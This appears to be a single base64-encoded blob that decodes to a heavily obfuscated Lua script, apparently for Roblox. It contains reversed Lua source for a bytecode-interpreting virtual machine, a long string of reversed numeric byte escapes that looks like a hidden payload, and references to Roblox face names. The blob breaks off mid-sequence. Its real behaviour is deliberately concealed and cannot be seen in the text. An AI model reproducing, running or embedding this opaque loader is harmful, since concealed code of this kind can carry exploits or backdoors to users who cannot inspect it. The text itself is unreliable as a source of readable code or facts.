Fw5NFwyMTFcNDRcOTRcMDVcMjhcOTRcMjExXDQ0XDg0XDA1XDI4XDk0XDIxMVw0NFwwNVw5NFwyOFw5NFwyMTFcNDRcOTRcOTRcMjhcOTRcMjExXDQ0XDg0XDk0XDI4XDk0XDIxMVw0NFwwNVw4NFwyOFw5NFwyMTFcNDRcOTRcODRcMjhcOTRcMjExXDQ0XDg0XDg0XDI4XDk0XDIxMVw0NFwyMjFcOTRcMjExXDQ0XDEyMVw5NFwyMTFcNDRcMDIxXDk0XDIxMVwyM1w4MDFcNzlcOTlcMTExXDgwMVw5XDAxXDMxXDE0XDYxMVwwMTFcMTAxXDk5XDQxMVwxMDFcMjExXDQ0XDA1XDIxMVw0NFw5NFwyMTFcMDRcMjExXDQxMVwxMDFcODAxXDk5XDIzXDAxMVwxMTFcNTAxXDYxMVw5OVwwMTFcNzExXDIwMVwwMVwzMVwwMVwzMVwwMDFcMDExXDEwMVwwMVwzMVwwMDFcMDExXDEwMVw5XDAxXDMxXDAwMVwwMTFcMTAxXDlcOVwwMVwzMVwxNFwwMDFcMDExXDEwMVw5XDlcOVwwMVwzMVwwMDFcMDExXDEwMVw5XDlcOVw5XDAxXDMxXDE0XDA0XDYxMVw1MDFcNzlcOTExXDg1XDYxMVw3OVwxMDFcODlcNjExXDQxMVw3OVwxMDFcMjdcNjRcMTRcNDNcMTAxXDk5XDUwMVw4MTFcNDExXDEwMVwzOFwwMTFcNzExXDI4XDQzXDA0XDEwMVw5OVw1MDFcODExXDQxMVwxMDFcMzhcNjExXDEwMVwxN1w4NVwxMDFcOTAxXDc5XDMwMVw5XDlcOVw5XDlcMDFcMzFcMTRcNTAxXDQ0XDUwMVw0NFw1MDFcMDRcOTExXDEwMVwwMTFcNjRcMTVcNDExXDExMVw4MDFcMTExXDc2XDIzXDE2XDIzXDQxMVwxMTFcODAxXDExMVw3Nlw2NFw4MDFcNTAxXDc5XDQ4XDlcOVw5XDlcOVwwMVwzMVwxMTFcMDAxXDIzXDM1XDA1XDg0XDY0XDU0XDQ0XDg0XDIzXDQ0XDk0XDIzXDE2XDIzXDUwMVwyM1w0MTFcMTExXDIwMVw5XDlcOVw5XDAxXDMxXDE0XDA0XDAxMVwxMTFcNTAxXDYxMVw5OVwwMTFcNzExXDIwMVwwNFwwMTFcOTExXDc5XDIxMVw1MTFcOVw5XDlcMDFcMzFcMDExXDEwMVw0MDFcNjExXDIzXDg5XDQxMVw5N1wwMTFcNTAxXDk2XDY0XDUxMVwzMDFcMDExXDUwMVw2MTFcNjExXDEwMVwzOFwyM1wyMDFcNTAxXDlcOVwwMVwzMVwxNFw4MDFcNTAxXDc5XDQ4XDIzXDQ0XDUxMVw2MTFcNDExXDc5XDA4XDgwMVw1MDFcNzlcNDExXDQ4XDA0XDYxMVw0MTFcMTAxXDUxMVwwMTFcNTAxXDY0XDEwMVw4MDFcODlcNzlcNjExXDlcOVwwMVwzMVwxNFw4MDFcNTAxXDc5XDQ4XDIzXDQ0XDQzXDYxMVw0MDFcMzAxXDUwMVw2N1w2MTFcMDExXDUwMVwxMTFcMDhcNDNcMDRcOTExXDEwMVwwMTFcNjRcMTAxXDk5XDAxMVw3OVw2MTFcNTExXDAxMVwzN1w5XDlcMDFcMzFcODRcOTRcMjNcMTZcMjNcMTAxXDk5XDc5XDIwMVw0MTFcNzExXDM4XDkwMVwxMTFcNjExXDYxMVwxMTFcNjZcNjRcODAxXDUwMVw3OVw0OFw5XDlcMDFcMzFcNDNcMDExXDExMVwxMDFcODdcNDNcMjNcMTZcMjNcODAxXDc5XDUwMVw0MTFcMTAxXDYxMVw3OVw3N1w2NFw4MDFcNTAxXDc5XDQ4XDlcOVwwMVwzMVw4NFw5NFwyM1wxNlwyM1wxMDFcOTlcNzlcMjAxXDQxMVw3MTFcMzhcMjExXDExMVw0OFw2NFw4MDFcNTAxXDc5XDQ4XDlcOVwwMVwzMVwxMDFcOTAxXDc5XDQxMVwwN1w3Nlw2NFw4OVw0MTFcOTdcMjNcMTZcMjNcMTAxXDkwMVw3OVw0MTFcMDdcNzZcNjRcODAxXDUwMVw3OVw0OFw5XDlcMDFcMzFcMTRcMDVcNjRcNDRcMDVcNjRcNDRcMDVcNjRcMDRcOTExXDEwMVwwMTFcNjRcMTVcNDExXDExMVw2MTFcOTlcMTAxXDY4XDIzXDE2XDIzXDEwMVwyMjFcNTAxXDM4XDY0XDgwMVw1MDFcNzlcNDhcOVw5XDAxXDMxXDQzXDkwMVwxMTFcNjExXDUxMVw3MTFcNzZcNDNcMjNcMTZcMjNcNDExXDExMVw2MTFcOTlcNzlcMDdcOTAxXDQxMVwxMTFcMDdcNjRcODAxXDUwMVw3OVw0OFw1NFw1NFw5XDlcMDFcMzFcMTAxXDcxMVw0MTFcNjExXDIzXDE2XDIzXDAwMVwxMDFcNzAxXDk5XDExMVw2N1w2NFw4MDFcNTAxXDc5XDQ4XDlcOVwwMVwzMVwxMDFcNTExXDgwMVw3OVwyMDFcMjNcMTZcMjNcMTAxXDAwMVw1MDFcODAxXDgwMVwxMTFcNzZcMDExXDc5XDc2XDY0XDgwMVw1MDFcNzlcNDhcOVw5XDAxXDMxXDEwMVw3MTFcNDExXDYxMVwyM1wxNlwyM1wwMDFcMTAxXDQxMVwxMTFcNDAxXDk5XDAxMVw1Nlw2NFw4MDFcNTAxXDc5XDQ4XDlcOVwwMVwzMVw5NFw2NFwyM1wxNlwyM1wxMjFcOTlcMDExXDEwMVw0MTFcNzlcMjExXDUxMVwwMTFcNzlcNDExXDQ4XDY0XDgwMVw1MDFcNzlcNDhcOVw5XDAxXDMxXDQxMVwxMTFcODAxXDExMVw3Nlw4MDFcNTAxXDc5XDQxMVw0OFw2NFw1MTFcMzAxXDAxMVw1MDFcNjExXDYxMVwxMDFcMzhcMjNcMTZcMjNcNDExXDExMVw4MDFcMTExXDc2XDcwMVw5OVw1MDFcNDExXDY2XDY0XDgwMVw1MDFcNzlcNDhcOVw5XDAxXDMxXDE0XDg5XDQxMVw5N1wyM1w0NFw5M1w2MTFcNDExXDc5XDA4XDkzXDA0XDkxMVwxMDFcMDExXDY0XDEwMVw5OVwwMTFcNzlcNjExXDUxMVwwMTFcMzdcMjNcMTZcMjNcODAxXDUwMVw3OVw0OFwyM1w4MDFcNzlcOTlcMTExXDgwMVw5XDlcMDFcMzFcMDExXDEwMVw0MDFcNjExXDIzXDEwMVw3MTFcNDExXDYxMVwyM1wxNlwxNlwyM1w4MDFcNTAxXDc5XDQxMVw0OFw2NFw1MTFcMzAxXDAxMVw1MDFcNjExXDYxMVwxMDFcMzhcMjNcMDAxXDAxMVw3OVwyM1w4MDFcNTAxXDAxMVwyM1wxNlw2MjFcMjNcODlcNDExXDk3XDIzXDIwMVw1MDFcOVwwMVwzMVwxNFwwNFwwMTFcMTExXDUwMVw2MTFcOTlcMDExXDcxMVwyMDFcMjNcMTZcMjNcODAxXDUwMVw3OVw0MTFcNjExXDAxMVw5MTFcNzlcMjExXDM4XDAxXDMxXDAxXDMxXDE0XDAwMVwwMTFcMTAxXDAxXDMxXDAwMVwwMTFcMTAxXDlcMDFcMzFcMDAxXDAxMVwxMDFcOVw5XDAxXDMxXDE0XDA0XDg5XDQxMVwxMTFcMDExXDkxMVw3OVwyMTFcMzhcOVw5XDlcMDFcMzFcMDExXDEwMVw0MDFcNjExXDIzXDgwMVw1MDFcMDExXDE2XDE2XDYxMVwwMTFcMTAxXDQxMVw3OVwwOFw2NFw4OVw0MTFcOTdcMjNcMjAxXDUwMVw5XDlcMDFcMzFcMTExXDAwMVwyM1wxNFw5NFwwNFw2MTFcNTAxXDc5XDkxMVwyM1wxMDFcODAxXDUwMVw0MDFcOTExXDlcMDFcMzFcMTRcMDRcMDExXDExMVw1MDFcNjExXDk5XDAxMVw3MTFcMjAxXDA0XDAxMVw5MTFcNzlcMjExXDUxMVwwMVwzMVwwMVwzMVwxNFwwNFw4OVw0MTFcMTExXDAxMVw5MTFcNzlcMjExXDM4XDk1XDAwMVwwMTFcMTAxXDAxXDMxXDE0XDAwMVwwMTFcMTAxXDlcMDFcMzFcMDAxXDAxMVwxMDFcOVw5XDAxXDMxXDE0XDA0XDg5XDQxMVwxMTFcMDExXDkxMVw3OVwyMTFcMzhcOVw5XDlcMDFcMzFcMDExXDEwMVw0MDFcNjExXDIzXDE0XDEwMVw5MDFcNzlcODdcNjRcODlcNDExXDk3XDA0XDAwMVw4MDFcNTAxXDQwMVw3Nlw2MTFcNTExXDQxMVw1MDFcMDdcMDAxXDAxMVw1MDFcMDdcODVcMTAxXDk5XDc5XDIxMVw1MTFcNzAxXDQxMVwxMTFcOTExXDIzXDYxMVwxMTFcMDExXDIzXDIwMVw1MDFcOVw5XDAxXDMxXDE0XDA0XDAxMVwxMTFcNTAxXDYxMVw5OVwwMTFcNzExXDIwMVwwNFw2MTFcOTlcMTAxXDAxMVwwMTFcMTExXDk5XDg1XDAwMVwxMDFcMzAxXDAxMVw3OVw0MDFcNzZcNjRcODlcNDExXDk3XDlcMDFcMzFcNDNcNjExXDQxMVw3OVwwOFw0M1wyM1wxNlwyM1wxMDFcOTAxXDc5XDg3XDY0XDg5XDQxMVw5N1w5XDAxXDMxXDQzXDk5XDUwMVw2MTFcNTExXDc5XDgwMVwwOFw0M1wyM1wxNlwyM1w4MDFcNzlcNTAxXDQxMVwxMDFcNjExXDc5XDc3XDY0XDg5XDQxMVw5N1w5XDAxXDMxXDg0XDk0XDIzXDE2XDIzXDEwMVw5OVw3OVwyMDFcNDExXDcxMVwzOFw5MDFcMTExXDYxMVw2MTFcMTExXDY2XDY0XDg5XDQxMVw5N1w5XDAxXDMxXDg0XDk0XDIzXDE2XDIzXDEwMVw5OVw3OVwyMDFcNDExXDcxMVwzOFwyMTFcMTExXDQ4XDY0XDg5XDQxMVw5N1w5XDAxXDMxXDE0XDk0XDQ0XDk0XDQ0XDk0XDA0XDkxMVwxMDFcMDExXDY0XDE1XDQxMVwxMTFcNjExXDk5XDEwMVw2OFwyM1wxNlwyM1wxMDFcMjIxXDUwMVwzOFw2NFw4OVw0MTFcOTdcOVwwMVwzMVw0M1w4MDFcODAxXDc5XDY2XDQzXDIzXDE2XDIzXDEwMVwyMTFcNzlcNDAxXDM4XDY0XDg5XDQxMVw5N1w5XDAxXDMxXDQzXDk5XDUwMVw0MTFcNjExXDEwMVw5MDFcOTAxXDEyMVwzOFw0M1wyM1wxNlwyM1w0MTFcMTExXDYxMVw5OVw3OVwwN1w5MDFcNDExXDExMVwwN1w2NFw4OVw0MTFcOTdcNTRcNTRcOVwwMVwzMVwxMDFcNzExXDQxMVw2MTFcMjNcMTZcMjNcMDAxXDEwMVw3MDFcOTlcMTExXDY3XDY0XDg5XDQxMVw5N1w5XDAxXDMxXDEwMVw1MTFcODAxXDc5XDIwMVwyM1wxNlwyM1wxMDFcMDAxXDUwMVw4MDFcODAxXDExMVw3NlwwMTFcNzlcNzZcNjRcODlcNDExXDk3XDlcMDFcMzFcMTAxXDcxMVw0MTFcNjExXDIzXDE2XDIzXDAwMVwxMDFcNDExXDExMVw0MDFcOTlcMDExXDU2XDY0XDg5XDQxMVw5N1w5XDAxXDMxXDE1XDY0XDIzXDE2XDIzXDEyMVw5OVwwMTFcMTAxXDQxMVw3OVwyMTFcNTExXDAxMVw3OVw0MTFcNDhcNjRcODlcNDExXDk3XDlcMDFcMzFcMTRcMDRcMTAxXDYxMVw1MDFcNDAxXDc4XDY0XDQxMVwxMTFcODAxXDExMVw3Nlw3MDFcOTlcNTAxXDQxMVw2NlwyM1wxNlwyM1w0MTFcMTExXDgwMVwxMTFcNzZcNzAxXDk5XDUwMVw0MTFcNjZcNjRcODlcNDExXDk3XDlcMDFcMzFcMTRcMTAxXDk5XDc5XDIxMVw1MTFcNzAxXDQxMVwxMTFcOTExXDIzXDQ0XDkzXDYxMVw0MTFcNzlcMDhcOTNcMDRcOTExXDEwMVwwMTFcNjRcMTAxXDk5XDAxMVw3OVw2MTFcNTExXDAxMVwzN1wyM1wxNlwyM1w4OVw0MTFcOTdcOVwwMVwzMVwwMDFcMDExXDEwMVw5XDAxXDMxXDE0XDAwMVwwMTFcMTAxXDlcOVwwMVwzMVwxNFwwNFwxMjFcMTExXDQxMVw2MTFcNTExXDEwMVw4Nlw4NVw4OVw0MTFcOTdcOVw5XDlcMDFcMzFcMTRcMDRcMDExXDExMVw1MDFcNjExXDk5XDAxMVw3MTFcMjAxXDA0XDgwMVw4MDFcNzlcOTlcMjExXDlcOVwwMVwzMVwxNFwwMDFcMDExXDEwMVw5XDlcMDFcMzFcMTRcMDRcMDExXDEwMVw0MTFcMDAxXDgwMVw1MDFcNDAxXDc2XDgwMVw4MDFcNTZcNDExXDc5XDEwMVw4MDFcNzZcODVcODlcNDExXDk3XDlcOVw5XDAxXDMxXDE0XDA0XDAxMVwxMTFcNTAxXDYxMVw5OVwwMTFcNzExXDIwMVwwNFw4MDFcODAxXDc5XDk5XDIxMVw5XDlcMDFcMzFcMDExXDEwMVw0MDFcNjExXDIzXDgwMVw1MDFcMDExXDIzXDE2XDYyMVwyM1w4OVw0MTFcOTdcMjNcMjAxXDUwMVw5XDAxXDMxXDE0XDA0XDAxMVwxMTFcNTAxXDYxMVw5OVwwMTFcNzExXDIwMVwyM1wxNlwyM1w4OVw0MTFcMTExXDAxMVw5MTFcNzlcMjExXDM4XDAxXDMxXDgwMVw1MDFcMDExXDIzXDE2XDIzXDYxMVwwMTFcMTAxXDQxMVw3OVwwOFw2NFw2MTFcMjExXDUwMVw0MTFcOTlcNTExXDAxXDMxXDUyMVwzMjFcMjNcMTZcMjNcNTExXDYxMVw0MTFcNzlcMDhcODAxXDUwMVw3OVw0MTFcNDhcMjNcODAxXDc5XDk5XDExMVw4MDFcMDFcMzFcMDFcMzFcMjNcNTIxXDAxXDMxXDA1XDg0XDY0XDIzXDE2XDIzXDM5XDQzXDAwMVwxMDFcMTAxXDIxMVwzOFw0M1wxOVw5XDAxXDMxXDlcMDFcMzFcNDRcMTAxXDcxMVw0MTFcNjExXDIzXDE2XDIzXDM5XDQzXDg5XDQxMVw5N1wwMTFcNTAxXDk2XDQzXDE5XDlcMDFcMzFcOVwwMVwzMVw0NFw3NVwyM1wxNlwyM1wzOVw0M1w4NlwzN1wxMTFcNTAxXDAwMVw3MTFcNTZcNDNcMTlcOVwwMVwzMVw5XDAxXDMxXDQ0XDM1XDY0XDIzXDE2XDIzXDM5XDQzXDEwMVw5OVwwMTFcNzExXDExMVw2Nlw0M1wxOVw5XDAxXDMxXDQ0XDY1XDIzXDE2XDIzXDM5XDQzXDYxMVw0MDFcMzAxXDUwMVwxMDFcMjdcNDNcMTlcOVwwMVwzMVw0NFw4NFw5NFwyM1wxNlwyM1wzOVw0M1w1MTFcNzExXDUwMVwwMDFcNzlcMjhcNDNcMTlcOVwwMVwzMVw5XDAxXDMxXDQ0XDE0XDA0XDEwMVw2MTFcNTAxXDQwMVw3OFw2NFw0MTFcMTExXDgwMVwxMTFcNzZcNzAxXDk5XDUwMVw0MTFcNjZcMjNcMTZcMjNcMzlcNDNcNDExXDExMVw4MDFcMTExXDc2XDgwMVw1MDFcNzlcNDExXDQ4XDQzXDE5XDlcMDFcMzFcNDRcMTAxXDcxMVw0MTFcNjExXDIzXDE2XDIzXDM5XDQzXDgwMVw1MDFcNzlcNDExXDQ4XDQzXDE5XDlcMDFcMzFcMzIxXDIzXDE2XDIzXDUxMVwzMDFcMDExXDUwMVw2MTFcNjExXDEwMVwzOFwyM1w4MDFcNzlcOTlcMTExXDgwMVwwMVwzMVwwMVwzMVw4MDFcNTAxXDAxMVwyM1wxNlwyM1w4OVw0MTFcOTdcMjNcODAxXDc5XDk5XDExMVw4MDFcMDFcMzFcODAxXDUwMVwwMTFcMjNcMTZcMjNcNDExXDEwMVw2MTFcOTlcNzlcNDExXDc5XDQwMVw3NlwyM1w4MDFcNzlcOTlcMTExXDgwMVwwMVwzMVwzOVw5M1wwXDBcMzFcMzAyXDdcOTNcMTlcMTRcNDNcNTExXDQxMVwxMDFcMTIxXDc5XDgwMVwwOFw0M1wwNFwxMDFcOTlcNTAxXDgxMVw0MTFcMTAxXDM4XDYxMVwxMDFcMTdcODVcMTAxXDkwMVw3OVwzMDFcMjNcMTZcMjNcNDExXDEwMVwwMTFcOTExXDk3XDIzXDgwMVw3OVw5OVwxMTFcODAxXDAxXDMxXDE0XDA0XDYxMVw1MDFcNzlcOTExXDBcMFwwXDA1XDdcOFw4MVwzM1wxMjFcODAxXDgwMVw3MTFcMjAxXDUxMVw1MTFcMTAxXDk5XDk5XDcxMVw1MTFcMjNcMDExXDc5XDI4XDBcMFwwXDcxXDdcMjhcOTZcNjhcMjhcOTZcMzhcMFwwXDBcNlw3XDI4XDk3XDI4XDI4XDk2XDBcMFwwXDVcN1w2NFw2NFw2NFwwMDFcMDExXDc5XDkwMVw5MDFcMTExXDk5XDIzXDEwMVw4MDFcMTExXDUxMVwwMTFcMTExXDk5XDIzXDMwMVwwMTFcNTAxXDUxMVw0MTFcNzlcMDhcMFwwXDBcNjJcN1wxNlwwMDFcNTAxXDM2XDEyMVw0MTFcMTExXDYxMVwwMTFcMTAxXDgxMVwwMTFcNTAxXDc0XDA1XDM1XDg0XDA1XDg1XDUxMVw3MTFcODAxXDIxMVw2NFwwMjFcMTExXDgwMVw4OVwxMTFcNDExXDc0XDc0XDg1XDIxMVw2MTFcNjExXDQwMVwwXDBcMFw3M1w3XDAwMVwxMDFcMDAxXDc5XDExMVw2N1wyM1wxMjFcODAxXDgwMVw3MTFcMjAxXDUxMVwxMDFcOTlcOTlcNzExXDM4XDIzXDYxMVw3MTFcMjExXDYxMVw3MTFcOTdcMjNcMDExXDExMVw1MDFcNjExXDcxMVw4MDFcMTExXDUxMVw4OVw1NlwwXDBcMFw2M1w3XDAwMVwxMDFcNDExXDc5XDEwMVw4MDFcNzZcMjNcNjExXDcxMVwyMTFcNjExXDcxMVw5N1wyM1wwMTFcMTExXDUwMVw2MTFcNzExXDgwMVwxMTFcNTExXDg5XDU2XDBcMFwwXDUyXDdcNzZcOVwzNTFcMzUxXDM1MVwzNTFcMzUxXDQ1MVw2XDAxMVwxMTFcNTAxXDYxMVw3OVw5MDFcNTAxXDAxMVw3OVwwXDBcMFw5XDdcNDExXDExMVw2MTFcOTlcNzlcMjAxXDkwMVw0MTFcMTExXDIwMVwwXDBcMFwwMVw3XDAwMVwxMDFcNjExXDc5XDk5XDEwMVw0MTFcMjExXDEwMVwwMDFcMFwwXDBcMDFcN1wxMDFcOTlcNTAxXDgxMVw0MTFcMTAxXDM4XDMwMVwxMTFcNjdcMFwwXDBcMDFcN1w3Nlw4Mlw0MDJcNDAyXDQwMlw0MDJcNDAyXDUwMlw2XDUxMVw3M1wyM1wwXDBcMFwzXDdcMlw4MVw4MDFcMTAxXDg5XDc5XDY3XDYxMVwwMjFcMTAxXDQ4XDBcMFwwXDlcN1w3Nlw2MVwwXDBcMFwwXDBcMFw2XDM0XDBcMFwwXDFcN1w3NlwwNFwwXDBcMFwwXDBcMFw2XDAwMVw3OVw3MTFcMThcMFwwXDBcNFw3XDYxMVw3MTFcOTdcMFwwXDBcM1w3XDFcNDRcM1w1XDgxXDk0XDA1XDA1XDA1XDQ1XDE1XDY1XDM1XDk0XDc0XDc0XDg1XDAwMVw1MDFcNjExXDEwMVw1MTFcNTExXDc5XDAyMVw4OVw0MTFcMFwwXDBcMjJcN1w1NVw4NFwxNVwwNVw0NVwxNVw2NVwzNVw5NFw3NFw3NFw4NVwwMDFcNTAxXDYxMVwxMDFcNTExXDUxMVw3OVwwMjFcODlcNDExXDBcMFwwXDIyXDdcMjVcNDVcMDVcMDVcNDVcMTVcNjVcMzVcOTRcNzRcNzRcODVcMDAxXDUwMVw2MTFcMTAxXDUxMVw1MTFcNzlcMDIxXDg5XDQxMVwwXDBcMFwyMlw3XDNcODFcMTAxXDkwMVw3OVw0MTFcMDdcMzAxXDAxMVw1MDFcODAxXDgwMVwxMTFcNDExXDk5XDM4XDBcMFwwXDQxXDdcMlw4OFwzXDY2XDk0MlwzNTFcMzUxXDM1MVwzNTFcMzUxXDQ1MVw2XDEwMVw5MDFcNzlcNDExXDA3XDBcMFwwXDVcN1w1NFwwXDBcMFwxXDdcMTAxXDUxMVwxMTFcODAxXDc2XDAxMVwxMDFcMjExXDk3XDBcMFwwXDlcN1w2MTFcNDAxXDMwMVw1MDFcMjhcMFwwXDBcNVw3XDUyXDgxXDQxMVw3OVwxMDFcODAxXDc2XDBcMFwwXDVcN1w3Nlw5MVwxNVwxNVwxNVwxNVwxNVwxNVw2XDc2XDkxXDUxMlwwMVwxNlwyMTFcMzYxXDUxMlw2XDYxMVwyMDFcMTAxXDY3XDBcMFwwXDRcN1w2MTFcNzExXDIxMVw2MTFcNzExXDk3XDIzXDAxMVwxMTFcNTAxXDYxMVw3MTFcODAxXDExMVw1MTFcODlcNTZcMFwwXDBcNzFcN1wxXDgxXDIxMVwxMTFcNDhcMFwwXDBcM1w3XDI1XDk0XDEwMVwyMjFcNTAxXDM4XDBcMFwwXDZcN1wwMDFcODAxXDExMVw2Nlw1MTFcMDExXDc5XDM4XDEwMVw5OVw0MTFcNzExXDExMVwzOFwwXDBcMFw0MVw3XDkyMVwzMDFcMjUyXDIyMlwyXDUxXDgxXDJcODRcM1w4MjFcNzFcNjExXDAyMVwxMDFcNDhcMDExXDUwMVw3OVw3N1wwXDBcMFw4XDdcMDExXDExMVw2MTFcNjExXDcxMVw2Nlw2MTFcMDIxXDEwMVw0OFwwXDBcMFwwMVw3XDM3XDU4XDE3XDIzXDYxMVw3MTFcMjExXDYxMVw3MTFcOTdcMjNcMDExXDExMVw1MDFcNjExXDcxMVw4MDFcMTExXDUxMVw4OVw1NlwwXDBcMFwxMlw3XDUwMVw3MTFcMTdcMDExXDEwMVwxMDFcNDExXDk5XDM4XDBcMFwwXDlcN1w2NDFcMDYxXDM0MVw2OVwyXDUwMVw3MTFcMTdcNDExXDEwMVwxMjFcNzlcODAxXDA4XDBcMFwwXDlcN1w1OVw0MTFcMTAxXDUxMVw3MTFcMFwwXDBcNVw3XDIyMVwxMDFcOTAxXDc5XDg3XDcwMVw5OVw1MDFcODdcMFwwXDBcOVw3XDEwMVw5OVw1MDFcODExXDQxMVwxMDFcMzhcMTAxXDQxMVwxMTFcNjExXDM4XDc5XDYxMVw3OVw4NlwwXDBcMFw2MVw3XCJkPWEgbGFjb2w7ZG5lIGxhIG5ydXRlcjtkbmUgMSt6YT16YTt5eT1demFbbGE7dm4rdmU9dmU7ZG5lKSkxLXZuK3ZlLHZlLGNkKHB5KHFtPXl5IGVzbGUpdmUsY2QocW09dm4seXkgbmVodCAwPHZuIGZpXWVkW2p5PXFtIGxhY29sO2RuZSBrYWVyYikidGFtcm9mIGRhYiIodG5pcnAgbmVodCB2biB0b24gZmldZWRbZGU9dm4gbGFjb2w7eXkgbGFjb2w7ZG5lIDErdmU9dmUpdmUsY2QocHk9ZWQgZXNsZV16YVtkYT1lZCBuZWh0IGRhIGZpO2VkIGxhY29sIG9kIGNuPHZlIGVsaWh3OzE9emEgbGFjb2w7Y2QjPWNuIGxhY29sOzE9dmUgbGFjb2x9ez1sYSBsYWNvbC4uLj1kYSxjZCBsYWNvbH0wLDQyLDEsMSwxLDIxLDYsNDIsOCwxLSwyLDEtLDIxLDEtLDgsNCw0LDIsNCwyez1kZSBsYWNvbH16eSxxZCxlcSxwZCxsaix5dix2YSx2eixqZCxjdixxbCxhZSx6bSxkcSxjcCxtZCxkdix6aixheSxseXs9ankgbGFjb2w7ZG5lIGxpbiBucnV0ZXIpKHp5IG5vaXRjbnVmIGxhY29sO2RuZSkpbHosemwsdnAsZG4sZGwseWQsdHosbmosbXYsenosY3kseWooem0sKXZuLGF0LGxkLG55LG1wLHBlLG15LHltLG1sLG52LHR5LHZ5KHptKGFxIG5ydXRlcilseix6bCx2cCxkbixkbCx5ZCx0eixuaixtdix6eixjeSx5aix2bixhdCxsZCxueSxtcCxwZSxteSx5bSxtbCxudix0eSx2eShxZCBub2l0Y251ZiBsYWNvbDtkbmUgeWogbnJ1dGVyKXlqKGVxIG5vaXRjbnVmIGxhY29sO2RuZSA4MjEtbmQgbnJ1dGVyKW5kKHBkIG5vaXRjbnVmIGxhY29sO2RuZSkpeW0oZSh0bSBucnV0ZXI7ZG5lKXBvVC5kSWxhbXJvTi5wcCx5bShlYyBuZWh0IDE9PmxkIGZpO2RuZSAyLWxkPWxkKW1vdHRvQi5kSWxhbXJvTi5wcCx5bShlYyBuZWh0IDI9PmxkIGZpO2RuZSA0LWxkPWxkKWtjYUIuZElsYW1yb04ucHAseW0oZWMgbmVodCA0PT5sZCBmaTtkbmUgOC1sZD1sZCl0bm9yRi5kSWxhbXJvTi5wcCx5bShlYyBuZWh0IDg9PmxkIGZpO2RuZSA2MS1sZD1sZCl0aGdpUi5kSWxhbXJvTi5wcCx5bShlYyBuZWh0IDYxPT5sZCBmaTtkbmUgMjMtbGQ9bGQpdGZlTC5kSWxhbXJvTi5wcCx5bShlYyBuZWh0IDIzPT5sZCBmaX17PXltIGxhY29sKWxkKGxqIG5vaXRjbnVmIGxhY29sO2RuZSkpanYsZG4obHksKXRhLHZwLHpxLHF2KG1kLCludixjZShseSwpZWUscGwscWEsZW0obWQocXogbnJ1dGVyKWp2LGRuLHRhLHZwLHpxLHF2LG52LGNlLGVlLHBsLHFhLGVtKHl2IG5vaXRjbnVmIGxhY29sO2RuZSkpYWQseWwobHksKXFtLHlkLG50LHRlKG1kKGx2IG5ydXRlcilhZCx5bCxxbSx5ZCxudCx0ZSh2YSBub2l0Y251ZiBsYWNvbDtkbmUpKWRjLHZ5LGxkLGF2LGFhLHpuLHFlLGx0LHB0LHlxLGVtLHFqKHptLCltbixxdCx5eixxcCxwbCxheixqdix5bCx5bSxwZSxuYSxsbih6bSh5YyBucnV0ZXIpZGMsdnksbGQsYXYsYWEsem4scWUsbHQscHQseXEsZW0scWosbW4scXQseXoscXAscGwsYXosanYseWwseW0scGUsbmEsbG4odnogbm9pdGNudWYgbGFjb2w7ZG5lKSlqbCxkYyxudCx5ZChtZCwpZXkscHosbWMsY3kobWQocGMgbnJ1dGVyKWpsLGRjLG50LHlkLGV5LHB6LG1jLGN5KGpkIG5vaXRjbnVmIGxhY29sO2RuZSBudiwpKWVtKGUocXEgbnJ1dGVyKW5lLHZ5LH0xLDUuMCwweywzKHluPW52LGVtIGxhY29sKW5lLHZ5KGN2IG5vaXRjbnVmIGxhY29sO2RuZSkpdHEsbXYoemoodmogbnJ1dGVyKXRxLG12KHFsIG5vaXRjbnVmIGxhY29sO2RuZSB5eSwpKW5sKGUodmwgbnJ1dGVyKWFtLGxkLH0xLSwxLDB7LDIxKHluPXl5LG5sIGxhY29sKWFtLGxkKGFlIG5vaXRjbnVmIGxhY29sO2RuZSBudi16cSxleSBucnV0ZXI7ZG5lIGRuZSBkbmUpXWpuW2V0LGV5KGVjIGVzbGUgNCt6cT16cSkpKTMrenEsenEsZGwocHkobWQsZXkoZWMgbmVodCAwPT1qbiBmaTsxJWpuLWpuPWpuOzQlbHpeIDUyLjAqbG49am4gbGFjb2wgb2QgamwsMD1seiByb2Y7ZG5lIDQlKTEtcWEoPWpsIG5laHQgeWQ9PXl6IGZpOzM9amwgbGFjb2wgb2QpbmwobiBuaSBsbix5eiByb2Y7eWQrenE9enE7enE9bnYgbGFjb2x9ez1leSBsYWNvbH0pMS15ZCt6cSx6cSxkbChweXs9bmwgbGFjb2wpNTIuMCpxYSh2dj15ZCBsYWNvbCl6cSxkbCxldCxxYSh5biBub2l0Y251ZiBsYWNvbDtkbmUpKXp2LHpuLGFkLGV5KG1kLClkYyxlZCxkeSxhdihtZCwpemwsbHAsYWoseWwobWQoZXYgbnJ1dGVyKXp2LHpuLGFkLGV5LGRjLGVkLGR5LGF2LHpsLGxwLGFqLHlsKHptIG5vaXRjbnVmIGxhY29sO2RuZSA0K3lsLCkzK3lsK21sLDQrbWwsbm0obmMgbnJ1dGVyKSkzK21sLG1sLG5tKHB5KGR2PXlsIGxhY29sKW1sLG5tKGRxIG5vaXRjbnVmIGxhY29sO2RuZSBkbmUgdHEgbnJ1dGVyIGVzbGUgdHEtbnJ1dGVyIG5laHQgODIxPT55ZSBmaTtkbmUpNDcwMS12biggXiAyKik2OTQwNzM3MjY5OTUzMDU0L2F2KyAxKD10cSBlc2xlIGRkPXRxIG5laHQgRkY3eDA9PXZuIGZpZXNsZSBkbmUpNDcwMS12biggXiAyPXRxIGVzbGUgdGQ9dHEgbmVodCBGRjd4MD09dm4gZmllc2xlIDA9dHEgbmVodCAwPT12biBmaSBuZWh0IDA9PWF2IGZpO3RxIGxhY29sOzYxKiA4MjEleWUrIDYxLyl5ai1keSg9dm4gbGFjb2w7NjUyKik2NTIqKTY1MiopNjUyKik2NTIqKTY1Mip5ait5ZCggK2xtKCArYWQoICt6eiggK3Z5KCAreXE9YXYgbGFjb2w7MDF4MCVkeT15aiBsYWNvbCl5ZSxkeSx5ZCxsbSxhZCx6eix2eSx5cShjcCBub2l0Y251ZiBsYWNvbDtkbmUgZG5lIHpwIG5ydXRlciBlc2xlIHpwLW5ydXRlciBuZWh0IDgyMT0+ZXkgZmk7ZG5lKTcyMS1tZSggXiAyKik4MDY4ODM4L3Z5KyAxKD16cCBlc2xlIGRkPXpwIG5laHQgNTUyPT1tZSBmaWVzbGUgZG5lKTcyMS1tZSggXiAyPXpwIGVzbGUgdGQ9enAgbmVodCBGRngwPT1tZSBmaWVzbGUgMD16cCBuZWh0IDA9PW1lIGZpIG5laHQgMD09dnkgZmk7enAgbGFjb2w7MiogODIxJWV5KyA4MjEvKW5hLXlsK